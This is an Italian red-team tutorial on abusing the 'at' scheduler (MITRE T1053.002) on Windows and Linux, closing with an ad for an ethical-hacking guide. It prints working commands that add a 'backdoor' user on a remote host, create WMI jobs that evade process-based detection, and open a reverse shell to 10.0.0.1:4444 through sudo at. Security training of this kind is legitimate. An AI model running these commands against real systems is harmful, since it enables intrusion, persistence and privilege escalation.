Pianificazione Malevola con At: Scheduled Task/Job — At (T1053.002)

Il comando at è una delle utility di scheduling più antiche disponibili su Windows, Linux e macOS. Concepito per pianificare l'esecuzione di comandi a un orario e una data specifici, rappresenta un vettore d'attacco spesso sottovalutato proprio perché considerato obsoleto — deprecato su Windows a favore di schtasks. Eppure il binario è ancora presente e funzionante su sistemi moderni, il che lo rende un candidato ideale per chi cerca di volare sotto il radar dei controlli più recenti.

La tecnica si inserisce in ben tre tattiche della kill chain: Execution (TA0002), dove il comando pianificato esegue codice malevolo; Persistence (TA0003), dove un job ricorrente garantisce la sopravvivenza al riavvio; e Privilege Escalation (TA0004), dove su Linux l'esecuzione tramite sudo o la configurazione permissiva di at.allow/at.deny consente di ottenere contesti privilegiati. Su Windows, l'esecuzione avviene di default nel contesto SYSTEM quando invocata da amministratore locale, il che eleva automaticamente i privilegi del payload.

Tre gruppi APT documentati hanno sfruttato questa tecnica, e 3 software noti la implementano direttamente. Sono disponibili 4 mitigazioni specifiche e un framework di detection cross-platform che copre Windows, Linux e macOS.

La bellezza offensiva di at risiede nella sua semplicità: è un binario legittimo, firmato dal sistema operativo, che non richiede alcun download aggiuntivo. In un engagement red team, questo significa zero artefatti sospetti su disco e nessun trigger per le soluzioni EDR che monitorano il caricamento di PE sconosciuti.

Windows — Esecuzione locale e remota

Su Windows, l'uso classico prevede la pianificazione di un comando da eseguire in un momento specifico. Anche se il sistema segnala at come deprecato, il comando funziona perfettamente se il servizio Task Scheduler è attivo e l'utente è amministratore locale:

at 09:00 /interactive cmd.exe /c "whoami > C:\temp\output.txt"

Per il lateral movement, la vera potenza emerge nell'esecuzione remota. Specificando un target di rete, il job viene registrato sulla macchina vittima ed eseguito nel contesto SYSTEM:

at \192.168.1.50 14:30 cmd.exe /c "net user backdoor P@ssw0rd /add"

Un vettore alternativo, particolarmente interessante perché bypassa la riga di comando, sfrutta la classe WMI Win32_ScheduledJob. In PowerShell:

([wmiclass]'\.\root\cimv2:Win32_ScheduledJob').Create("cmd.exe /c calc.exe", "20251215093000.000000+000")

Questa variante non genera un processo at.exe nel log, rendendo la detection basata su process creation meno efficace.

Linux — Privilege escalation e shell escape

Su sistemi Linux, at consente di pianificare job che vengono eseguiti dal demone atd. Se il file at.deny è vuoto o assente e at.allow non esiste, qualsiasi utente può schedulare comandi:

echo "/bin/bash -i" | at now + 1 minute

In ambienti con shell ristrette (rbash, restricted ksh), at diventa un vettore di escape: il job viene eseguito da atd in un contesto shell non ristretto. Se il binario at è configurato nel file sudoers, la privilege escalation è immediata:

sudo at now + 1 minute <<< "/bin/sh -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Tool di supporto

Per automatizzare la catena d'attacco in ambienti Active Directory, CrackMapExec (open source, ora rinominato NetExec) supporta la creazione di task schedulati via at su target remoti, integrandosi con credenziali ottenute tramite pass-the-hash o Kerberoasting. Il tool è disponibile sul repository GitHub del progetto NetExec.

Nell'arsenale red team, conviene combinare at con una reverse shell o un beacon C2 per validare che il job venga effettivamente eseguito nel contesto SYSTEM e che la persistence sopravviva al reboot.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo